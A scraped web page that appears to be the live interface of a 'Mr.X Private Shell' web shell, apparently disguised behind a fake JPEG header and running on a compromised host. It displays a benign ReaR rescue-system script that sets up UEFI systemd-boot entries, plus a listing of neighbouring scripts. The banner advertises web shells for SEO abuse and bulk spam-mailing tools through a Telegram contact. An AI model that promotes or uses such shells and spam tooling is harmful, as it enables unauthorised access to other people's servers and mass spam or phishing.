����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# 260_populate_efistub.sh

# Skip if no UEFI is used:
is_true $USING_UEFI_BOOTLOADER || return 0

# Skip if EFISTUB is not used
is_true $EFI_STUB || return 0

local efi_boot_tmp_dir="$TMP_DIR/mnt/EFI/BOOT"
mkdir $v -p $efi_boot_tmp_dir || Error "Could not create $efi_boot_tmp_dir"

# For EFI_STUB=true, we will use systemd-bootx64.efi shipped with Systemd
# as a default.
# systemd-bootx64.efi is used only for ReaR rescue system (to display boot menu)
# and does not take part neither in restore nor in booting of restored system.
# In theory we don't need to have any boot loader for ReaR rescue system,
# since kernel can be loaded directly by UEFI, but not everyone is familiar
# or comfortable with EFI shell.

Log "EFI_STUB: will use $OUTPUT_EFISTUB_SYSTEMD_BOOTLOADER as ReaR rescue system boot loader"

# Do some basic checks that OUTPUT_EFISTUB_SYSTEMD_BOOTLOADER exists
# and is EFI application. Should checks fail, abort operation with error.
# Check if file exists.
if [[ -f $OUTPUT_EFISTUB_SYSTEMD_BOOTLOADER ]]; then
    # Check magic number of EFI application.
    if [[ $(file $OUTPUT_EFISTUB_SYSTEMD_BOOTLOADER | grep -E "EFI application|MS Windows") ]]; then
        Log "EFI_STUB: $OUTPUT_EFISTUB_SYSTEMD_BOOTLOADER looks to be valid EFI executable"
    else
        Error "EFI_STUB: $OUTPUT_EFISTUB_SYSTEMD_BOOTLOADER is not valid EFI executable"
    fi
else
    Error "EFI_STUB: EFI executable $OUTPUT_EFISTUB_SYSTEMD_BOOTLOADER not found"
fi

cp $v "$OUTPUT_EFISTUB_SYSTEMD_BOOTLOADER" $efi_boot_tmp_dir/BOOT${EFI_ARCH_UPPER}.efi


# Create boot menu entries for systemd-bootx64.efi.
mkdir $v -p -m 755 $TMP_DIR/isofs/loader/entries
cat > $TMP_DIR/isofs/loader/loader.conf << EOF
default  rear
timeout  10
EOF

cat > $TMP_DIR/isofs/loader/entries/rear.conf << EOF
title   $PRODUCT v$VERSION - Recover $HOSTNAME
linux   /isolinux/kernel
initrd  /isolinux/initrd.cgz
options root=/dev/ram0 $KERNEL_CMDLINE
EOF

# Copy of efiboot content also the our ISO tree (isofs/)
mkdir $v -p -m 755 $TMP_DIR/isofs/EFI/BOOT $TMP_DIR/isofs/boot
cp $v -r $TMP_DIR/mnt/EFI $TMP_DIR/isofs/ || Error "Could not create the isofs/EFI/BOOT directory on the ISO image"

Filemanager

Name Type Size Permission Actions
250_populate_efibootimg.sh File 8.5 KB 0644
260_EFISTUB_populate.sh File 2.12 KB 0644
300_create_isolinux.sh File 513 B 0644
700_create_efibootimg.sh File 5.68 KB 0644
800_create_isofs.sh File 1.31 KB 0644
810_prepare_multiple_iso.sh File 4.75 KB 0644
820_create_iso_image.sh File 1.85 KB 0644
830_create_iso_image_EFISTUB.sh File 958 B 0644
850_check_for_errors.sh File 241 B 0644